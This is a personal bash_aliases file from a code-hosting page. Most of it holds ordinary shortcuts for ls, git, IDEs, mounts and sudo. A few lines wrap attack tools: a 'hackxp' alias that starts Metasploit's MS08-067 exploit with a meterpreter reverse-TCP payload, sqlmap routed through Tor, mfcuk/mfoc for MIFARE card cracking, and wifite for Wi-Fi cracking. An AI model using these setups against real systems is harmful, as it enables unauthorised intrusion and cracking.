選択できるのは25トピックまでです。 トピックは、先頭が英数字で、英数字とダッシュ('-')を使用した35文字以内のものにしてください。

bash_aliases 4.3KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101
  1. alias alert='notify-send --urgency=low -i "$([ $? = 0 ] && echo terminal || echo error)" "$(history|tail -n1|sed -e '\''s/^\s*[0-9]\+\s*//;s/[;&|]\s*alert$//'\'')"'
  2. alias cls="clear"
  3. alias nano="nano -K"
  4. alias l="/bin/ls --color"
  5. alias ll="/bin/ls --color -l"
  6. alias lla="/bin/ls --color -l -a"
  7. alias la="/bin/ls -a --color"
  8. alias reload="source ~/.bashrc"
  9. alias wakeserv4="wakeonlan -i 192.168.1.255 00:0f:fe:88:94:da"
  10. alias shutserv4="ssh serv4 shutdown -hP 0"
  11. alias status="git status"
  12. alias py="ipython3"
  13. alias bashrc="vim ~/.bashrc; reload"
  14. alias bashaliases="vim ~/.bash_aliases; reload"
  15. alias ddstatusc="while :; do ddstatus; sleep 2; done"
  16. alias arpe="arp-scan -I eth0"
  17. alias arpw="arp-scan -I wlan0"
  18. alias vpnint="service openvpn restart g75-internet"
  19. alias vpnintstop="service openvpn stop g75-internet"
  20. alias youtube-mp3="youtube-dl --extract-audio --audio-format mp3"
  21. alias pull="git pull --rebase"
  22. alias st="git status"
  23. alias u=up
  24. alias p="ping 8.8.8.8"
  25. alias telnet='telnet -e ^['
  26. alias reboot-win="grub-reboot 2 && reboot"
  27. alias necessitas="~/tools/Qt5.5.0/Tools/QtCreator/bin/qtcreator"
  28. alias studio="~/tools/android-studio-latest/bin/studio.sh"
  29. alias sqlmap="~/tools/sqlmap-dev/sqlmap.py --proxy=socks5://127.0.0.1:9050 --check-tor --random-agent"
  30. alias clion="~/tools/clion-latest/bin/clion.sh"
  31. alias datagrip="~/tools/datagrip-latest/bin/datagrip.sh"
  32. alias idea="~/tools/idea-latest/bin/idea.sh"
  33. alias phpstorm="~/tools/phpstorm-latest/bin/phpstorm.sh"
  34. alias rider="~/tools/rider-latest/bin/rider.sh"
  35. alias ms4="mount /media/serv4/downloads && cd /media/serv4/downloads"
  36. alias ums4="cd && umount /media/serv4/downloads"
  37. alias mfc="time mfcuk -C -s 250 -S 250 -v 4 -R"
  38. alias mfo="time mfoc"
  39. alias git-release="git checkout master && git rebase develop && git p && git checkout develop"
  40. alias arduino="~/tools/arduino-1.6.5-r5/arduino"
  41. alias arduino1.0="~/tools/arduino-1.0.6/arduino"
  42. alias genymotion="~/tools/genymotion/genymotion"
  43. alias windows="virtualbox --startvm Windows7"
  44. alias vm01="virtualbox --startvm vm01.vpn.rthoni.com"
  45. alias vm02="virtualbox --startvm vm02.vpn.rthoni.com"
  46. alias gdo="sudo -u gogs"
  47. alias gdo-pull="gdo git pull -r"
  48. alias cert-check-etc="cert-check /etc/ssl/private $((60 * 60 * 24 * 31))"
  49. alias cert-renew-all-etc="cert-renew-all /etc/ssl/private $((60 * 60 * 24 * 31))"
  50. alias update-confs="cd ~/confs && git pull -r && reload"
  51. alias pycharm="~/tools/pycharm-latest/bin/pycharm.sh"
  52. alias xcopy="xclip -selection clipboard"
  53. alias ns=nst
  54. alias hackxp="msfconsole -x 'use exploit/windows/smb/ms08_067_netapi; set payload windows/meterpreter/reverse_tcp; echo set LHOST my_ip; echo set RHOST target_ip'"
  55. alias signal="google-chrome --profile-directory=Default --app-id=bikioccmkafdpakkkcpdbppfkghcmihk"
  56. alias slog="tail -f /var/log/syslog"
  57. alias devsd="ls /dev | grep sd"
  58. alias catlease="cat \$(ps aux | grep dhclient | grep -oE '\-lf [^ ]+' | cut -d' ' -f2)"
  59. alias prv-mount="cryptsetup luksOpen ~/keep/private_data private_data && mount /dev/mapper/private_data /media/private_data && cd /media/private_data"
  60. alias prv-umount="umount /media/private_data && cryptsetup luksClose private_data"
  61. alias ssh-socks="ssh -N -D 127.0.0.1:1080"
  62. alias dc="docker-compose"
  63. if [ "${EUID}" -ne 0 ]
  64. then
  65. alias modprobe="sudo modprobe"
  66. alias dd="sudo dd"
  67. alias reboot="sudo reboot"
  68. alias cryptsetup="sudo cryptsetup"
  69. alias arp-scan="sudo arp-scan"
  70. alias service="sudo service"
  71. alias ifconfig="sudo ifconfig"
  72. alias ip="sudo ip"
  73. alias route="sudo route"
  74. alias killall="sudo killall"
  75. alias mount="sudo mount"
  76. alias umount="sudo umount"
  77. alias apt-get="sudo apt-get"
  78. alias apt-cache="sudo apt-cache"
  79. alias update-rc.d="sudo update-rc.d"
  80. alias gparted="sudo gparted"
  81. alias svim="sudo vim"
  82. alias shut="sudo shutdown -h 0"
  83. alias nst="sudo netstat -ntpa | grep LISTEN"
  84. alias nsu="sudo netstat -nupa"
  85. alias ddstatus="sudo pkill --signal USR1 \"^dd$\""
  86. alias ap="rfkill unblock wifi && sudo ap"
  87. alias 3d="sudo /etc/3DxWare/daemon/3dxsrv -d usb"
  88. alias wifite="sudo wifite -wept 10000 -wpst 10000 -wpat 10000 -mac -showb"
  89. else
  90. alias svim="vim"
  91. alias shut="shutdown -h 0"
  92. alias nst="netstat -ntpa | grep LISTEN"
  93. alias nsu="netstat -nupa"
  94. alias ddstatus="pkill --signal USR1 \"^dd$\""
  95. alias ap="rfkill unblock wifi && ap"
  96. alias 3d="/etc/3DxWare/daemon/3dxsrv -d usb"
  97. alias wifite="wifite -wept 10000 -wpst 10000 -wpat 10000 -mac -showb"
  98. fi